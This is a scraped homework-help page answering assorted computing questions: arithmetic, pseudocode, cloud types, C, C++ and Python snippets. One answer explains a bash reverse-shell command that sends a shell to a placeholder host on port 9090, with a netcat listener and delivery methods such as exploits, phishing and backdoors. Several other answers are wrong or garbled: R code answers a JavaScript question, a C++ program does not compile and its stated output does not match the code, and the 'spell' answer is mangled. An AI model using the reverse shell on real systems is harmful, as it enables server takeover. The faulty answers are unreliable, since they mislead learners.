Computers And Technology College

Python (and most programming languages) start counting with 0.
True
False

Answers

Answer 1

True....................

Answer 2

Answer:

yes its true :)

Explanation:

Related Questions

Which phrase describes this image most precisely?
A. a small bunch of beautiful tulips in a transparent jug
B. a colorful bunch of pretty flowers in a water jug
C. a colorful bunch of tulips in a transparent jug with a handle
D. a'nice bunch of colorful wers in a transparent water Jug with a handle
E. some flowers in a jug

Answers

The correct answer is D. A nice bunch of colorful flowers in a transparent water jug with a handle.

Explanation:

Describing an image precisely requires using specific details that allow others to understand or imagine the image even without seeing it. Due to this, to describe this image precisely it is a good idea to include as many accurate details as possible, which includes words such as "colorful", "flowers", "transparent", etc. In this context, the best option is D because this offers more details than other options and all of these details are accurate and specific.

You'll apply the concepts of Lesson 1 to create pseudocode and a flowchart for a modular program. The body mass index (BMI) is often used to determine whether a person with a sedentary lifestyle is overweight or underweight for his or her height. A person's BMI is calculated with the following formula: BMI = Weight × 703 ÷ Height²

Answers

In this modular program, the pseudocode and a flowchart for the calculation of person's body mass index (BMI) is given by:

//Ask user for height & weight//"Enter weight (in pounds):""Enter height (in inches"//Calculate the person's (BMI)//"BMI = weight * (703 / pow(height, 2));"//Display the person's (BMI)//

What is a flowchart?

A flowchart is also referred to as flow diagram and it can be defined as a graphical representation of an algorithm for a work process or workflow.

What is a pseudocode?

A pseudocode can be defined as a description of the steps contained in an algorithm, especially through the use of a plain (natural) language.

In this modular program, the pseudocode and a flowchart for the calculation of person's body mass index (BMI) is given by:

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Suppose that a computer has three types of floating point operations: add, multiply, and divide. By performing optimizations to the design, we can improve the floating point multiply performance by a factor of 10 (i.e., floating point multiply runs 10 times faster on this new machine). Similarly, we can improve the performance of floating point divide by a factor of 15 (i.e., floating point divide runs 15 times faster on this new machine). If an application consists of 50% floating point add instructions, 30% floating point multiply instructions, and 20% floating point divide instructions, what is the speedup achieved by the new machine for this application compared to the old machine

Answers

Answer:

1.84

Explanation:

Operation on old system

Add operation = 50% = 0.5

Multiply = 30% = 0.3

Divide = 20% = 0.2

T = total execution time

For add = 0.5T

For multiplication = 0.3T

For division = 0.2T

0.5T + 0.3T + 0.2T = T

For new computer

Add operation is unchanged = 0.5T

Multiply is 10 times faster = 0.3T/10 = 0.03T

Divide is 15 times faster = 0.2T/15= 0.0133T

Total time = 0.5T + 0.03T + 0.0133T

= 0.54333T

Speed up = Old time/ new time

= T/0.54333T

= 1/0.54333

= 1.84

Which type of cloud deployment enables customers to leverage the benefits of the public cloud and co-existing with on-premises infrastructure?

1. Public Cloud
2. Private Cloud
3. Hybrid Cloud
4. Legacy IT Infrastructure

Answers

Answer: (3) Hybrid Cloud

Explanation:

A hybrid cloud deployment enables customers to leverage the benefits of the public cloud (such as scalability, flexibility, and cost-effectiveness) while also co-existing with their on-premises infrastructure (such as legacy systems or applications that are sensitive or mission-critical). Hybrid cloud allows customers to choose the best deployment model for each workload or application, depending on their specific requirements and needs. This can provide them with greater control and flexibility, as well as the ability to optimize their IT resources and costs.

Arrange the following units of storage in descending
order. B, TB,KB, GB,MB

Answers

Answer:

TB,GB,MB,KB,B

Explanation:

Question 01 Drivers are concerned with the mileage obtained by their automobiles. One driver has kept track of several tankfuls of gasoline by recording miles driven and gallons used for each tankful. Develop a program that will input the miles driven and gallons used for each tankful. The program should calculate and display the miles per gallon obtained for each tankful. After processing all input information, the program should calculate and print the combined miles per gallon obtained for all tankfuls. Here is a sample input/output dialog: Sample Run: Enter the gallons used (-1 to end) : 12.8 Enter the miles driven: 287 The miles / gallon for this tank was: 22.421875 Enter the gallons used (-1 to end) : 10.3 Enter the miles driven: 120 The miles / gallon for this tank was: 24.0000 Enter the gallons used (-1 to end) : -1 The total mileage / gallon was : 17.6190

Answers

Using the knowledge in computational language in C++ it is possible to write a code that will input the miles driven and gallons used for each tankful.

Writting the code:

#include <stdio.h>

int main()

{

float gallonsUsed, milesDriven, totalGallonsUSed = 0.0, totalMilesDriven = 0.0, averageMilesPerGallon = 0.0;

//prompt and read the number of gallons

printf ("Enter the gallons used (-1 to end): ");

scanf ("%f", &gallonsUsed);

//run a loop until the user enters -1 for number of gallons

while (gallonsUsed != -1)

{

//prompt and read miles driven

printf ("Enter the miles driven: ");

scanf ("%f",&milesDriven);

//add gallon to totalGallons

totalGallonsUSed = totalGallonsUSed + gallonsUsed;

//add miles to total miles

totalMilesDriven = totalMilesDriven + milesDriven;

//calculate and print miles per gallon

printf ("The miles/gallon for this tank was %f miles.", milesDriven/gallonsUsed);

//prompt and read the number of gallons used, exit the loop if -1 is entered

printf ("\n\nEnter the gallons used (-1 to end):");

scanf ("%f", &gallonsUsed);

}

//if totalGallons is not 0

if (totalGallonsUSed != 0)

{

//calculate totalaverage

averageMilesPerGallon= totalMilesDriven/totalGallonsUSed;

//print total average

printf ("\nThe overall average miles/gallon was %f miles. \n", averageMilesPerGallon);

}

else

//if totalGallons is 0

printf ("No gallons were entered\n");

return 0;

}

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Question 01 Drivers are concerned with the mileage obtained by their automobiles. One driver has kept

Need help reply fast

Answers

Answer:

Explanation:

Dark filled in notes: Quarter notes: 1 beat

Clear circle notes: Half notes: 2 beats

Upside down hat: Whole rest: 4 beats

Normal hat: Half rest: 2 beats

Curvy symbol: Quarter rest: 1 beat

Round 2,834 to the nearest hundred.

Answers

Answer:

it's 2,800

Explanation:

i hope this helps

Answer:

Explanation:

2 834 ≈ 2 800

Stress is an illness not unlike cancer.
True
False

Answers

Answer:

... not unlike cancer.

Explanation:

so we have a double negative so it makes it a positive, so that would basically mean like cancer

so false i think

Answer: True

Explanation:

Choose the correct term to complete the sentence.
A_____ search compares the first item to the goal, then the second, and so on.

linear or binary?

Answers

Answer:

Linear

Explanation:

In a linear search, you're going through each element, for example in an array. This is done in O(n) time complexity, n being the amount of elements in the array. You go through each elements comparing if it is the goal.

In a binary search, you divide and conquer until you reach your answer, making the question into smaller subproblems until you solve it. Note that you can only perform a binary search on a sorted array and it is in O(log(n)) (base 2) time complexity.

Observe ,which plunger exerts(produces) more force to move the object between plunger B filled with air and plunger B filled with water?

Answers

The plunger filled with water will exert more force to move an object compared to the plunger filled with air.

What is a plunger?

Plunger, force cup, plumber's friend, or plumber's helper are all names for the tool used to unclog pipes and drains. It is composed of a stick (shaft) that is often constructed of wood or plastic and a rubber suction cup.

It should be noted that because water is denser than air, meaning it has a higher mass per unit volume. When the plunger is filled with water, it will have a greater overall mass and will thus be able to transfer more force to the object it is trying to move.

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Take two equal syringes, join them with plastic tube and fill them with water as illustrated in the figure

Push the plunger of syringe A (input) and observe the movement of plunger B (output).

(a)

Which plunger moves immediately when pressing plunger A, between plunger B filled with air and plunger B filled with water?

In 2019, the tuition for a full time student is $7,180 per semester. The tuition will be going up for the next 7 years at a rate of 3.5% per year. Write your program using a loop that displays the projected semester tuition for the next 7 years. You may NOT hard code each years tuition into your program. Your program should calculate the tuition for each year given the starting tuition in 2019 ($7, 180) and the rate of increase (3.5%). You should then display the actual year (2020, 2021, through 2026) and the tuition amount per semester for that year

Answers

Answer:

In Python:

tuition = 7180

year = 2019

rate = 0.035

for i in range(2019,2027):

print(str(year)+": "+str(round(tuition,2)))

tuition = tuition * (1 + rate)

year = year + 1

Explanation:

This initializes the tuition to 7180

tuition = 7180

This initializes the year to 2019

year = 2019

This initializes the rate to 3.5%

rate = 0.035

This iterates through years 2019 to 2026

for i in range(2019,2027):

This prints the year and tuition

print(str(year)+": "+str(round(tuition,2)))

This calculates the tuition

tuition = tuition * (1 + rate)

This increments year by 1

year = year + 1

Can someone tell me how can you give brainliest to ppl

Answers

hey!

When two users given an answer to the question (to your asked question),then you can see a crown symbol written as mark as brainliest . Click on it and mark.

Answer:

Basically, wait for 2 people to answer.

Explanation:

Then after 2 people answers, there will be a crown on both answers.

Then, you can click that crown to whoever you think the best answer is.

I hope this helps!

what is the angle of my phone

Answers

Answer:

Depends where u hold ur phone

Explanation:

lol

With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:

/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"

1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?

Answers

1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.

2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.

3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.

4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.

1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:

0: It represents file descriptor 0, which is the standard input (stdin).

1: It represents file descriptor 1, which is the standard output (stdout).

2: It represents file descriptor 2, which is the standard error (stderr).

: It is the output redirection symbol and is used to redirect the output of a command to a file or device.

<: It is the input redirection symbol and is used to redirect input from a file or device to a command.

&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.

2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.

3. The reverse shell attack is typically performed in the following steps:

The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.

4. Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:

Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.

Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.

Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.

Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.

It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.

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what is the meaning of Ram?

Answers

Answer:

Random-Access Memory

Explanation:

used as a short-term memory for computers to place its data for easy access

You have a spreadsheet with population counts for major cities in the United States. Population counts are given in different columns to show breakdown by age groups and gender. The names of cities are listed in rows. You need the population count in column 45 for the city in row 30. What tool could you use to navigate to the cell quickly?

filter

sort

locate

replace

Answers

Answer:

The answer is C. Locate

Explanation: Got it right on edg please mark brainliest

I am working on "8.8.7 Chart of Lots of Rolls" in JavaScript if anyone has done this lesson please tell me your code i cant seem to figure this out

Answers

Using knowledge in computational language in JAVA it is possible to write a code that print the results os each roll.

Writting the code:

sim_t_ind <- function(n, m1, sd1, m2, sd2) {

# simulate v1

v1 <- rnorm(n, m1, sd1)

#simulate v2

v2 <- rnorm(n, m2, sd2)

# compare using an independent samples t-test

t_ind <- t.test(v1, v2, paired = FALSE)

# return the p-value

return(t_ind$p.value)

}

Can arrays copyOf () be used to make a true copy of an array?

There are multiple ways to copy elements from one array in Java, like you can manually copy elements by using a loop, create a clone of the array, use Arrays. copyOf() method or System. arrayCopy() to start copying elements from one array to another in Java.

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I am working on "8.8.7 Chart of Lots of Rolls" in JavaScript if anyone has done this lesson please tell

Which of the following is an example of critical reading?
Select all that apply:
Accepting textual claims at face value Considering an argument from a different point of view
Reviewing an argument to identify potential biases
Skimming a text to locate spelling errors or typos
Looking for ideas or concepts that confirm your beliefs

Answers

Answer:

Which of the following is an example of critical reading? Select all that apply:

a.Accepting textual claims at face value

b.Considering an argument from a different point of view

c. Reviewing an argument to identify potential biases

d. Skimming a text to locate spelling errors or typos

e. Looking for ideas or concepts that confirm your beliefs

Your sister has just emailed you an attached file with the invitation list for her upcoming party.
Which of these tells you what type of file it is?
A. Folder name
B. File name
C. Extension
D. Call Number

Answers

Answer:

The file Extension so the answer is C

C. The extension is the answer to your question

The value of the expression X(X+Y) is X
O a. True
b. False

Answers

sorry I didn’t know this was Boolean math

I answered for regular math equations

Ayaan is writing a program that generates wizard spells.The program relies on multiple string operations:PseudocodeDescriptionCONCAT(string1, string2)Concatenates (joins) two strings to each other, returning the combined string.UPPER(string)Returns the string in uppercase.Here's a snippet of his code:start ← "Bibbidi Bobbidi" end ← "Boo" spell ← CONCAT(start, UPPER(end))What value does the spell variable store?

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The spell variable stores the value "Bib bi di Bo b bi d i BO O", as the UPPER () function converts the string "Boo" to uppercase, and the CON CAT() function combines the two strings "Bib bidi Bob bidi" and "BO O" together.

What is spell variable?

A variable is a named storage location in a computer program’s memory that stores a particular value. It can be used to store data that is expected to change during the execution of a program, such as information entered by the user or items generated by the program. Variables are typically associated with specific data types, such as a number, a character, a string or a Boolean value. This means that when a variable is declared, the program will know the type of data it is expected to contain. Variables can be used in calculations, comparisons and to control the flow of a program.

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Jose is very careful about preventing malware from infecting his computer. In addition to avoiding suspicious email attachments and resisting the
temptation of clicking on pop-up ads, which of the following methods could Jose use to keep his computer safe?

Answers

Answer: There is many apps on the computer that may help Jose. Look up malware or software protection and perhaps you'll find one you like and that fits his computer. I hope this helps Jose!!!

Explanation:

Many adds pop up for safety and protection for your computer, the hard part is knowing which ones are true and which ones are false! I wouldn't risk buying any plans in that area unless your positive they are real. There are free apps that can help you without paying for them. I hope this helps!

What is the output for the following line of code? = print(3)

Answers

I think it would just output 3

When the InfoSec management team’s goals and objectives differ from those of the IT and general management communities, what items should be considered for the resolution, and who should be involved and provide an example of a situation where such a conflict might exist

Answers

phone holder 2 questions

What is confidentiality and example?

Answers

Answer:

Confidentiality is the act of keeping things private. For example, the Government keeps very important things confidential in order to protect National Security.

WHICH OF THE FOLLOWING IS A CLASSICAL ALGORITHM APPLIED TO MEDERN CRYPTOGRAPHY
A: LINEAR SEARCH
B: PSEUDORANDOM NUMBER GENERATOR
C: BINARY SORT
D: MODULAR ARITHMETIC

Answers

The option of the CLASSICAL ALGORITHM that is known to apply to modern CRYPTOGRAPHY is known to be called option B: PSEUDORANDOM NUMBER GENERATOR.

What is a pseudo random generator in cryptography?

In regard to the theoretical computer science and cryptography, a pseudorandom generator (PRG) is known to be used for a class of statistical tests.

It is said to be one that is known to be a kind of a deterministic method that is often used in the mapping if a random seed so that it can be able to be a longer type of pseudorandom string.

It is one where there is no need for statistical test in the class that can be used to tell the difference between the output of the generator as well as that of the uniform.

Therefore, The option of the CLASSICAL ALGORITHM that is known to apply to modern CRYPTOGRAPHY is known to be called option B: PSEUDORANDOM NUMBER GENERATOR.

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What is indirect program memory addressing? Explain the working of the following instructions?

a) JMP AX
b) JMP LIST[DX]
c) JMP NEAR PTR[DI+3]

Answers

Indirect main memory addressing is described as the method in which the variable's address is stored in a mind register and also a command is utilized to point towards the memory registers which hold the register. Instruction is used to direct towards a register that displays the results of the variables. The register, in turn, refers to that variable's address in simplistic words. As just a result, it is indeed considered a passive program, memory address.

The instructions operate as follows:

JMP AX :

The JMP instruction is being used to execute an unconditional jump.AX is indeed the label's name. JMP AX codes are being used to transfer control of the flow program to the AX label.

JMP LIST:

The JMP command can be used to execute an unconditional jump, JMP LIST[DX] is the label's name. The JMP LIST[DX] program is being used to transfer control of its flow programs to the specified section. It is the segment to which the flow control is transmitted.

JMP NEAR PTR[DI+3]:

Unconditional jumps could be done with the JMP command as you'll see, the label is JMP NEAR PTR[DI+3]. It's being used to transmit flow control to a particular section, throughout this case [DI+3]. The close keyword indicates that perhaps the code segment would be in the line of code being nearby.

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Write a C++ program using only one loop that will display the ASCII Code and the corresponding
character in a table for each of the following: CAPITAL LETTERS, lowercase letters and the numbers
from 0-9. The table should have six (6) columns: ASCII CODE for CAPITAL LETTERS, CAPITAL
LETTERS, ASCII CODE for lowercase letters, lowercase letters, ASCII CODE for the numbers from
0-9, and ASCII CODE for the numbers from 0-9. Hint: Remember how characters are stored in memory
Validate your input using loops.

In C++

Answers

A C++ program using only one loop that will display the ASCII Code and the corresponding character in a table for each of the following: CAPITAL LETTERS, lowercase letters, and the numbers from 0-9 is given below:

The Program

// C++ program to print alphabets

#include <iostream>

using namespace std;

// Function to print the alphabet

// in lower case

void lowercaseAlphabets()

{

// lowercase

for (int c = 97; c <= 122; ++c)

cout << c << " ";

cout << endl;

}

// Function to print the alphabet

// in upper case

void uppercaseAlphabets()

{

// uppercase

for (int c = 65; c <= 90; ++c)

cout << c << " ";

cout << endl;

}

// Driver code

int main()

{

cout << "Uppercase Alphabets" << endl;

uppercaseAlphabets(ch);

cout << "Lowercase Alphabets " << endl;

lowercaseAlphabets(ch);

return 0;

}

The Output

Uppercase Alphabets

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Lowercase Alphabets

a b c d e f g h i j k l m n o p q r s t u v w x y z

Answers

To make a tkinter window always appear on top of other windows, including full-screen windows, you must use the wm_attributes method with the topmost attribute set to True.

How can I make a tkinter window always appear on top of other windows?

By using the wm_attributes method in tkinter and setting the topmost attribute to True, you can ensure that your tkinter window stays on top of other windows, even when they are in full-screen mode.

This attribute allows you to maintain the window's visibility and prominence regardless of the current state of other windows on your screen.

Python (and most programming languages) start counting with 0. True False

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Python (and most programming languages) start counting with 0.
True
False